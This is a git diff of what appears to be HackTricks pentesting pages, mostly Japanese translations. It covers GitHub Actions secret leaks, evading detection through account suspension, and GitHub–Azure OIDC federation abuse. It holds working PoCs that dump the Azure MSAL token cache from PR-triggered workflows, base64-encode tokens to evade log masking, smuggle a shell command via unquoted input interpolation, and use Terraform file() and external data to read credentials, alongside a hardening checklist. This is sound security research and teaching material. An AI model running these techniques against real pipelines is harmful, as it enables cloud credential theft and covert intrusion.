1 | awk '{ print $1 }')" ``` -Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +詳細は[**こちらの記事**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)を参照してください。 -### Github Docker イメージのレジストリ +### GithubのDockerイメージレジストリ -Github actions を使って **Docker イメージを Github 内にビルドして保存する** ワークフローを作成できます。\ +Github actions を作成して、**Docker image を Github 内にビルドして保存する**ことが可能です。\ 以下の折りたたみで例を確認できます:
-Github Action - Docker イメージのビルドとプッシュ +Github Action Build & Push Docker Image ```yaml [...] @@ -616,31 +621,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-前のコードでわかるように、Github レジストリは **`ghcr.io`** にホストされています。 +前のコードでわかるように、Github registry は **`ghcr.io`** にホストされています。 -リポジトリに対して read permissions を持つユーザーは、personal access token を使って Docker Image をダウンロードできるようになります: +repo に対する read permissions を持つユーザーは、personal access token を使って Docker Image をダウンロードできます: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -その後、ユーザーは **leaked secrets in the Docker image layers:** を検索できます。 +その後、ユーザーは **leaked secrets in the Docker image layers:** を検索できます {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Sensitive info in Github Actions logs +### Github Actions ログの機密情報 -たとえ **Github** が Actions のログ内の機密値を検出してそれらを表示しないようにしても、アクション実行中に生成される可能性のある **他の機密データ** は隠されません。例えば、秘密値で署名された JWT は [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) されていない限り隠されません。 +たとえ **Github** が actions ログ内の **secret values** を検出して **avoid showing** しようとしても、action の実行中に生成されうる **other sensitive data** は隠されません。例えば、secret value で署名された JWT は、[specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) されていない限り隠されません。 -## Covering your Tracks +## 足跡の隠蔽(Covering your Tracks) -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成した PR は Github 上で一般に公開され、ターゲットの GitHub アカウントにも明確に表示されます。GitHub ではデフォルトでインターネット上の PR を削除することはできませんが、ここに落とし穴があります。Github がアカウントを **suspended** すると、そのアカウントのすべての **PR は自動的に削除され** インターネットから消えます。したがって、自分の活動を隠すには、自分の **GitHub account suspended or get your account flagged** される必要があります。これにより GitHub 上のあなたのすべての活動がインターネットから **隠されます**(基本的にあなたの exploit PR をすべて削除することになります)。 +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成した PR は公開され、ターゲットの GitHub アカウントにも明確に見えます。GitHub ではデフォルトで、我々はインターネット上の PR を削除できませんが、ここにひとつの裏技があります。Github によって **suspended** されたアカウントの場合、そのアカウントのすべての **PRs are automatically deleted** としてインターネットから削除されます。したがって、自分の活動を隠すには、自分の **GitHub account suspended or get your account flagged** される必要があります。これにより GitHub 上のあなたのすべての活動はインターネットから **hide all your activities** されます(基本的にあなたの exploit PR がすべて削除されることになります)。 -An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. +ある GitHub 組織はアカウントを GitHub に報告することに非常に積極的です。やるべきことは Issue に “some stuff” を投稿するだけで、12時間以内にあなたのアカウントが停止されるよう手配してくれます :p こうしてあなたの exploit は github 上で見えなくなります。 > [!WARNING] -> 組織が自分たちが狙われたことに気づくための唯一の方法は、GitHub の UI からは PR が削除されてしまうため、SIEM から GitHub ログを確認することです。 +> 組織が自分たちがターゲットにされたことを把握する唯一の方法は、SIEM から GitHub のログを確認することです。GitHub UI からは PR が削除されてしまうため、UI 上では確認できません。 ## References diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..82fbe0e6c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,228 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## 概要 + +GitHub ActionsはOpenID Connect (OIDC)を用いてAzure Entra ID(旧Azure AD)とフェデレーションできます。GitHub workflowは、実行の詳細をエンコードした短命のGitHub ID token (JWT)を要求します。AzureはこのトークンをApp Registration(service principal)上のFederated Identity Credential (FIC)に対して検証し、Azureアクセス トークン(MSALキャッシュ、Azure API向けのbearerトークン)と交換します。 + +Azureが少なくとも検証する項目: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (Azureトークンと交換する際) +- sub: 設定されたFIC Subject identifierと一致している必要がある + +> デフォルトのGitHub audはGitHubのURLである場合がある。Azureと交換する際は、明示的に audience=api://AzureADTokenExchange を設定する。 + +## GitHub ID token 簡易 PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +トークン要求時に Azure の audience を強制するには: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure セットアップ (Workload Identity Federation) + +1) App Registration (service principal) を作成し、最小権限を付与する(例:特定の storage account に対して Storage Blob Data Contributor)。 + +2) Federated identity credentials を追加する: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: 対象の workflow/run コンテキストに厳密にスコープすること(下の Scoping and risks を参照)。 + +3) azure/login を使って GitHub ID token を交換し、Azure CLI にサインインする: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +手動交換の例 (Graph scope を示す; ARM やその他の resources も同様): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) の構造とカスタマイズ + +デフォルトの sub 形式: repo:/: + +Context の値には次が含まれる: +- environment: +- pull_request (environment が指定されていない場合に PR がトリガーされる) +- ref:refs/(heads|tags)/ + +ペイロードに含まれることが多い有用なクレーム: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +GitHub API を使って sub の構成をカスタマイズし、追加の claims を含めて衝突リスクを減らす: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +注意: 環境名のコロンは URL エンコードされており (%3A)、sub parsing に対する古い delimiter‑injection の手口を排除します。ただし、non‑unique な subjects(例: environment: のみ)を使うのは依然として unsafe です。 + +## FIC サブジェクトタイプの範囲とリスク + +- Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- リスク: branch/tag が保護されていない場合、任意の contributor が push して tokens を取得できる。 +- Environment: sub=repo:/:environment: +- リスク: Unprotected environments(レビューアがいない)だと、contributors が tokens を mint できる。 +- Pull request: sub=repo:/:pull_request +- 最も高いリスク: 任意の collaborator が PR を開き、FIC を満たせる。 + +PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +関連ファイルの場所とメモ: +- Linux/macOS: ~/.azure/msal_token_cache.json は az CLI セッション用の MSAL tokens を保持します +- Windows: msal_token_cache.bin はユーザープロファイル内にあり; DPAPI‑protected + +## 再利用ワークフローと job_workflow_ref のスコープ + +再利用ワークフローを呼び出すと、job_workflow_ref が GitHub ID token に追加されます。例: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +呼び出し元リポジトリと再利用可能なワークフローの両方をバインドするためのFICの例: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +caller repoでclaimsを構成して、repoとjob_workflow_refの両方がsubに含まれるようにしてください: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +警告: FICでjob_workflow_refだけをバインドすると、攻撃者が同じ組織内に別のリポジトリを作成し、同じrefで同じ再利用可能なワークフローを実行してFICを満たし、トークンをミントする可能性があります。常に呼び出し元リポジトリも含めてください。 + +## job_workflow_refの保護を回避するコード実行ベクター + +適切にスコープされたjob_workflow_refがあっても、シェルに安全にクオートされずに到達する呼び出し元が制御するデータは、保護されたワークフローコンテキスト内でのコード実行につながる可能性があります。 + +再利用可能なステップの脆弱な例(未クオートの補間): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +コマンドを実行し、Azure のトークン キャッシュを持ち出すための悪意のある呼び出し元の入力: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## PRsにおける実行プリミティブとしての Terraform plan + +terraform plan をコード実行として扱う。 +plan 実行中、Terraform は以下が可能: +- file() のような関数を介して任意のファイルを読み取る +- external data source を介してコマンドを実行する + +plan 実行中に Azure token cache を抜き出す例: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +または external を使って任意のコマンドを実行する: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts. + +## ハードニングチェックリスト + +- 機密性の高い FICs に対して sub=...:pull_request を使用しない +- FICs で参照される branch/tag/environment を保護する(branch protection、environment reviewers) +- reusable workflows 用には repo と job_workflow_ref の両方にスコープされた FICs を優先する +- GitHub OIDC の sub をカスタマイズしてユニークなクレーム(例: repo, job_workflow_ref, repository_owner)を含める +- caller inputs の未引用インターポレーションを run ステップに埋め込むことを排除する;安全にエンコード/引用する +- terraform plan をコード実行として扱い、PR コンテキストではアイデンティティを制限または分離する +- App Registrations に最小権限を適用し、plan と apply のアイデンティティを分離する +- actions と reusable workflows をコミット SHA にピン留めする(branch/tag ピンは避ける) + +## 手動テストのヒント + +- ワークフロー内で GitHub ID token を要求し、マスキングを避けるため base64 で出力する +- JWT をデコードしてクレームを確認する: iss, aud, sub, job_workflow_ref, repository, ref +- ID token を手動で login.microsoftonline.com に対して交換し、FIC の一致とスコープを確認する +- azure/login の後で ~/.azure/msal_token_cache.json を読み、トークン素材の存在を検証する + +## 参考 + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}